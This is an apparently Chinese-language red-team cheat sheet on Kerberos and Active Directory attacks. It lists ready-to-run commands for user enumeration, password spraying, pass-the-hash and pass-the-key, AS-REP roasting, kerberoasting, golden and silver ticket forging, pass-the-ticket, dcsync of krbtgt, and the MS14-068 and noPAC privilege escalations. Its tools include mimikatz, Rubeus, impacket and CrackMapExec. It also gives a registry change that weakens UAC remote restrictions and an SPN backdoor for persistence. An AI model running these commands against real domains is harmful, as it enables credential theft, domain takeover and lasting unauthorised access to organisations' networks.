Kerberos Attacks - Kerberos攻击面
攻击面
AS_REQ & AS_REP:PTK、PTH、用户名枚举、密码喷洒、AS-REPRoasting、黄金票据 |
AS_REQ & AS_REP
有效域用户枚举
攻击原理:在AS-REQ阶段,请求包中的cname字段为用户名,根据返回包的状态不同判断该用户是否存在,有如下状态码,在域内域外皆可枚举
AS-REP 回复包状态 | Kerberos 错误信息 |
---|---|
用户存在 且启用 | KDC_ERR_PREAUTH_REQUIRED (需要额外的预认证) |
用户存在 但禁用 | KDC_ERR_CLIENT_REVOKED NT Status: STATUS_ACCOUNT_DISABLED (用户状态不可用) |
用户不存在 | KDC_ERR_C_PRINCIPAL_UNKNOWN (找不到此用户) |
tom存在且启用,返回 KDC_ERR_PREAUTH_REQUIRED
不存在用户,返回 KDC_ERR_C_PRINCIPAL_UNKNOWN
工具:
1. Kerbrute
kerbrute.exe userenum --dc 192.168.100.128 -d test.com usernames.txt -t 10 -o output.txt |
2. pyKerbrute
#tcp 模式 |
tips:
Kerbrute枚举用户名是通过固定密码foobar,能否作为检测特征
func (k KerbruteSession) TestUsername(username string) (bool, error) { |
密码喷洒/爆破
攻击原理:在AS-REQ阶段根据认证返回包状态不同进行密码的喷洒和爆破
密码喷洒:固定密码,跑用户名。密码爆破:固定用户名,跑密码。
用户密码错误,返回 KRB5KDC_ERR_PREAUTH_FAILED
用户密码正确返回正常的AS-REP包
工具:
1. Kerbrute
喷洒 |
2. pyKerbrute
#针对明文进行喷洒,tcp 模式和 udp 模式 |
PTH
攻击原理:NTLM 认证过程和 Kerberos 认证过程都支持使用用户密码的 NTLM Hash 来进行加密,当抓取到用户的hash后可以直接去进行认证而跳过密码认证。
在Windows Server2012 及其以后的机器,默认不会在内存中保存明文密码,需要PTH横向
由于UAC的限制,不同的账户类型PTH结果也会失败或成功:
账户描述 | PTH结果 |
---|---|
pubcli_user:本地普通用户 | 失败 |
test:本地管理员组用户 | 失败 |
Administrator:本地管理员组用户 | 成功 |
xie\hack:域用户 && 本地管理员组用户 | 成功 |
当 内置管理员账户 Administrator 进行远程连接时会直接得到具有管理员凭证的令牌,而 非Administrator 的本地管理员账户 进行远程连接时,会得到一个删除了管理员凭证的令牌。而 本地管理员组中的域用户 进行远程连接时,UAC 不会生效,会直接得到一个具有管理员凭证的令牌。
工具:
1. CrackMapExec
crackmapexec smb 10.211.55.0/24 -u Administrator -H 329153f560eb329c0e1deea55e88a1e9 -x whoami |
2. mimikatz
privilege::debug |
3. impacket
psexec、smbexec、wmiexec、atexec、dcomexec等exec脚本
python3 psexec.py [email protected] -hashes :329153f560eb329c0e1deea55e88a1e9 |
4. evil-winrm
evil-winrm -i 192.168.1.10 -u Administrator -H <NTLM_HASH> |
tips:
让 非Administrator 的本地管理员账户 进行远程连接时也得到一个具有管理员凭证的令牌,使其PTH成功
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f |
PTK
在kerberos的AS-REQ阶段,预认证要求用户提供 从用户密码派生的密钥,Kerberos 提供 4 种不同的密钥类型:DES、RC4、AES-128 和 AES-256
攻击原理:当启用RC4时,RC4 密钥实际上是用户的 NT 哈希,这种攻击方式叫PTH。当RC4被禁用时,其他 Kerberos 密钥(DES、AES-128、AES-256)也可以传递,这种攻击技术称为PTK。二者仅仅是传递的密钥不同。由于其他密钥如AES256是在kerberos协议中,因此 PTK的利用环境为:开启了aes认证的域环境中
微软发布了针对 Pass The Hash 哈希传递攻击的更新补丁 KB2871997,引入了一些安全机制
- Protected Users 组的支持
- Restricted Admin RDP 模式远程客户端支持
- Pass The Hash 增强保护
工具:
1. mimikatz
当拿下一台域内主机时,dump下aeskey,然后通过该凭证去尝试登录其他机器
mimikatz.exe "privilege::debug" "log" "sekurlsa::ekeys" "exit" |
导入aes key
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:tom /domain:test.com /aes256:0b387bfe557dbd745c08721d3fc5440c9e63a97f7c4fd9eb1085ee3e472af12c" |
AS-REPRoasting
攻击原理:域内某些账号设置了 不要求 kerberos 预身份验证,因此不需要AS-REQ的预身份验证,直接向域控的 88 Kerberos 端口去请求票据,这时AS-REP就会返回 TGT、用户hash加密的session key,对内容重新组合能够拼接成 Kerberos 5 AS-REP etype 23(18200) 的格式,针对被加密的session key进行本地离线破解,从而爆破出用户密码
域内机器利用思路:直接ldap查询出域内不需要身份认证的用户
通过adfind或者adexplorer查询域内信息满足 (userAccountControl:1.2.840.113556.1.4.803:=4194304)
的用户
adfind查询
adfind -h 192.168.100.128:389 -u test.com\tom -up Ab123456 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn |
adexplorer中,由于userAccountControl的值为叠加查询属性值大于或等于4194304的用户
adexplorer64.exe -snapshot "" test.dat |
非域内机器利用思路:如果有域内账号凭证,利用凭证查询出不需要身份认证的用户;如果没有域内账号凭证,利用大量用户名字典先去有效用户枚举,再去探测不需要身份认证的用户
工具:
1. Rubeus
Rubeus.exe asreproast /format:john /outfile:hashs.txt |
2. impacket
GetNPUsers.py用于尝试获得并列出不需要Kerberos域认证的用户
# 域外机器无凭证盲爆用户 |
本地爆破:
john --wordlist=pass.txt hashs.txt |
黄金票据
攻击原理:在AS-REP阶段,返回的TGT加密部分是由krbtgt用户的密钥加密的,如果获得了krbtgt的密钥,就可以伪造签发TGT票据,再去发起TGS请求,从而访问任意服务,该票据被称为黄金票据(GoldenTicket)
黄金票据特点:
域控中KDC服务在20分钟内不验证TGT中的用户帐户,这意味在这时间内可以使用 被禁用、被删除、不存在 的帐户(KB5008380后域用户必须存在!)
域控上由KDC服务配置的Kerberos策略:如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年
该KRBTGT帐户密码从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在
它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证
金票可用于模拟任何用户访问Active Directory中的任何资源
在主机上都可以生成和使用黄金票据(TGT),即使没有加入域,只要网络可以访问域
制作金票条件:
- 域名称
- 域的SID值
- 域用户 krbtgt 的 NTLM Hash 或 AES-256 或 AES-128
- 伪造的任意用户名
攻击步骤:
一、获取所需条件信息
域名:test.com |
二、工具
1. Mimikatz
# 列出当前票据 |
/domain - 完整的域名,在这个例子中:test.com |
2. Rubeus
Rubeus.exe dump /nowrap /service:krbtgt > ticket.kirbi |
3. Impacket
# Find the domain SID |
user-id 和 groups-ids 是为了应对某些特殊情况:默认情况下,impacket和mimikatz伪造的票证包含 PAC,表明用户属于某些知名管理员组(即组 ID 513、512、520、518、519),在某些情况下,这些组是不够的(即使是域管理员也没有本地管理员权限的特殊机器)
4. Metasploit
post/windows/escalate/golden_ticket |
TGS_REQ & TGS_REP
kerberoasting
攻击原理:在TGS_REQ中的sname是要请求的服务SPN,如果发送的TGT正确,在TGS_REP阶段 返回由SPN服务对应账号hash加密的ST,此时可以导出该ST进行本地破解逆推出SPN服务对应的账户hash
SPN(ServicePrincipal Names - 服务主体名称)是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN,存在于账号的属性中
SPN分为两种:
- 注册在 AD上机器帐户(Computers) :当一个服务的权限为
Local System
或Network Service
- 注册在 域用户帐户(Users) :当一个服务的权限为一个域用户
域内主要账号类型:
用户账户(User Accounts)
- 用途:供个人用户登录域、访问资源
- 示例:zhangsan@domain.com、Administrator
- 特点:
- 密码由用户设置或管理员分配,可能绑定邮箱、权限组等
- 可手动关联SPN(此时称为
服务用户账户
)
计算机账户(Computer Accounts)
用途:代表 加入域的计算机或服务器,用于身份验证和资源访问
示例:DC01$、SQLSERVER$(以$结尾)
特点:
- 密码由系统自动管理(定期更新),安全性较高
- 自动注册SPN(如 HOST/DC01.domain.com、MSSQLSvc/sqlserver.domain.com:1433、TERMSRV/rdp-server.domain.com)
服务账户(Service Accounts)
技术本质:并非独立账号类型,而是用户账户或计算机账户的一种用途。
分类:
- 普通用户账户:手动配置为服务运行身份(如svc_sql),需关联SPN,密码人工维护(易成Kerberoasting攻击目标)
- 组托管服务账户(gMSA):专用服务账户类型,密码由AD自动管理(Windows Server 2012+),安全性更高
- 计算机账户:服务以SYSTEM或Network Service运行时,隐式使用计算机账户身份
攻击步骤:
一、收集域内高价值SPN:1. 注册在域用户帐户(Users)下。2. 该域用户账户的权限高
二、请求指定TGS
三、导出TGS
四、本地破解
本地测试为域用户Bob添加一个SPN属性
工具:
1. impacket
GetUserSPNs可以实现自动化查询、请求TGS
# 只查询SPN |
2. Rubeus
Rubeus.exe kerberoast /nowrap /format:hashcat |
如果在未禁用RC4情况下启用了AES加密,即msDS-SupportedEncryptionTypes属性被设置了AES,当kerberoast时,返回的票据为AES加密,这时添加 /tgtdeleg
参数可以实现加密类型的降级,强迫返回票据使用RC4进行加密
Rubeus.exe kerberoast /tgtdeleg /nowrap /format:hashcat |
John、hashcat
本地破解
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force |
后门利用
在取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令,例如为域用户Administrator添加SPNVNC/DC1.test.com:
setspn.exe -U -A SPNVNC/DC1.test.com Administrator |
白银票据
攻击原理:在TGS_REP阶段返回使用服务账户hash加密的TGS票据,如果有了服务账户的hash,可以直接伪造TGS票据从而直接访问该指定的服务,用作一种权限维持手法,注意的是银票只能访问特定的服务
白银票据特点:
- 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务
- 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
- 任何事件日志都在目标服务器上
制作银票条件:
- 域名称
- 域的SID值
- 域中的Server服务器账户的 NTLM Hash 或 AES-256 或 AES-128
- 伪造的任意用户名
- 目标服务器上面的kerberos服务名
常见的服务:
服务名称 同时需要的服务 |
攻击步骤:
一、获取所需条件信息
域名:test.com |
二、工具
1. Mimikatz
CIFS服务为远程文件服务
kerberos::golden /domain:test.com /sid:S-1-5-21-3222783777-1006235836-3661351843 /target:DC-1.test.com /service:cifs /rc4:43659c20b609efca43cecfe5e04fea8b /user:silver /ptt |
LDAP服务可远程dcsync
kerberos::golden /user:t /domain:test.com /sid:S-1-5-21-3222783777-1006235836-3661351843 /target:DC-1.test.com /service:ldap /rc4:43659c20b609efca43cecfe5e04fea8b /user:DCsync /ptt |
lsadump::dcsync /dc:DC-1 /domain:test.com /user:krbtgt |
2. Rubeus
rubeus.exe silver /service:MSSQLSvc/MSSQL.test.com /rc4:43659c20b609efca43cecfe5e04fea8b /sid:S-1-5-21-3222783777-1006235836-3661351843 /user:mssql /domain:test.com /ptt |
金/银票对比
特性 | 黄金票据 | 白银票据 |
---|---|---|
作用对象 | 伪造TGT(Ticket Granting Ticket) | 伪造特定服务的ST(Service Ticket) |
依赖凭据 | KRBTGT账户的哈希 | 服务账户(如机器账户)的哈希 |
权限范围 | 可访问域内所有服务 | 仅能访问特定服务(如CIFS、LDAP等) |
隐蔽性 | 需与KDC交互获取服务票据,可能触发日志 | 无需与KDC交互,更隐蔽 |
后门持久性 | 长期有效(直到KRBTGT密码重置) | 有效期受服务账户密码(如机器账户30天重置)影响 |
PTT
攻击原理:在kerberos认证中,除了AS_ERQ外其余步骤都是利用票据进行身份验证,因此利用票据(TGT、TGS)的导出/导入/注入/横向移动都叫 PTT
工具:
1. mimikatz
klist 查看内存中票据 |
2. Rubeus
Rubeus.exe ptt /ticket:"base64 | file.kirbi" |
UNIX <-> Windows的票据转换
# Windows -> UNIX |
PAC
MS14068
域内提权漏洞,允许远程经过身份验证的域用户通过票证中的伪造签名获取域管理员权限,影响 Windows Server 2003 ~ Windows Server 2012 R2。
大概原理:
- 作为标准用户请求不带 PAC 的 Kerberos TGT 身份验证票证,DC 使用 TGT 回复(没有 PAC,通常包含组成员身份,这种情况很不寻常)
- 生成一个伪造的 PAC,没有密钥,因此生成的 PAC 使用域用户的密码数据通过 MD5 算法而不是 HMAC_MD5 进行 “签名”
- 将无 PAC 的 TGT 与伪造的 PAC 一起作为授权数据 (Authorization-Data) 作为 TGS 服务票证请求的一部分发送到 DC
- DC 似乎对此感到困惑,因此它丢弃用户发送的没有 PAC 的 TGT,创建一个新的 TGT 并将伪造的 PAC 插入到自己的授权数据 (Authorization-Data) 中,然后将此 TGT 发送给用户
- 此带有伪造 PAC 的 TGT 使用户能够成为易受攻击的 DC 上的域管理员
补丁号: KB3011780
systeminfo |findstr "KB3011780" |
工具:
1. impacket
goldenPac.py "$DOMAIN_FQDN"/"$USER":"$PASSWORD"@"$DC_HOST" -dc-ip "$DC_IP" |
2. pykek
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
kekeo.exe "exploit::ms14068 /domain:test.com /user:Bob /password:Ab123456 /ptt" "exit" |
noPAC
域内提权漏洞:利用两个CVE漏洞组合在S4U的条件下会生成一个高权限PAC到ST中。
CVE-2021-42278,机器账户应该以$结尾,但AD没有对域内机器账户名做验证
CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后 通过S4U2self 申请TGS Ticket,然后DC进行在TGS_REP阶段加密TGS Ticket时,无法找到该账户利用机器账户hash加密,会在 sAMAccountName 结尾加入 $ 继续查询,此时寻找到了DC$机器账户,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
ms-ds-machineaccountquota(MAQ):允许用户在域中创建的计算机帐户数,默认为10
sAMAccountName:域名\用户名
攻击流程:
创建一个机器账户
清除机器账户的SPN(servicePrincipalName)属性。使用 impacket 或 powermad 是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以不用清除
将机器账户的 sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
为机器账户请求TGT
将创建的机器账户的 sAMAccountName 更改为其他名字
通过 S4U2self 协议向DC请求ST
DCsync
检测工具:
noPac.exe scan -domain redteam.red -user saul -pass 'Red12345' |
netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac |
crackmapexec smb <ip> -u 'user' -p 'pass' -M nopac |
利用工具:
1. Powermad
# test.com是域名 , DC-1是DC的机器名称 |
2. impacket
# 0. create a computer account |
3. noPac.exe
https://github.com/TryA9ain/noPac
https://github.com/cube0x0/noPac
https://github.com/Ridter/noPac
https://github.com/safebuffer/sam-the-admin
# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC |
在MAQ = 0 时便不能创建计算机帐户的突破:
拿到 将计算机拉入域中的帐户 的权限:将计算机拉入域中的帐户默认对该计算机帐户有 WriteProperty 权限, 计算机帐户中的 mS-DS-CreatorSID 这个属性的 SID 就是拉它入域的 用户 SID, 那么便可以去 查找域内存在 mS-DS-CreatorSID 的计算机帐户, 然后对应找到域用户帐户, 再拿到其域用户帐户权限 后便可修改对应的计算机帐户属性, 从而实现该漏洞的利用
拿到具有 SeMachineAccountPrivilege 权限的帐户:有的企业会设置专门用来 加入域的组 (这个组中的这些帐户都能用来将计算机拉入域中) 或者 帐户, 这些帐户具有 SeMachineAccountPrivilege 权限 (“将工作站添加到域” 属性), 后续可以重点留意下这些帐户, 默认 Authenticater Users (身份验证的用户) 具备 SeMachineAccountPrivilege
具体利用参看:noPac MAQ = 0 的突破
原理分析文章:
解析CVE-2021-42278和CVE-2021-42287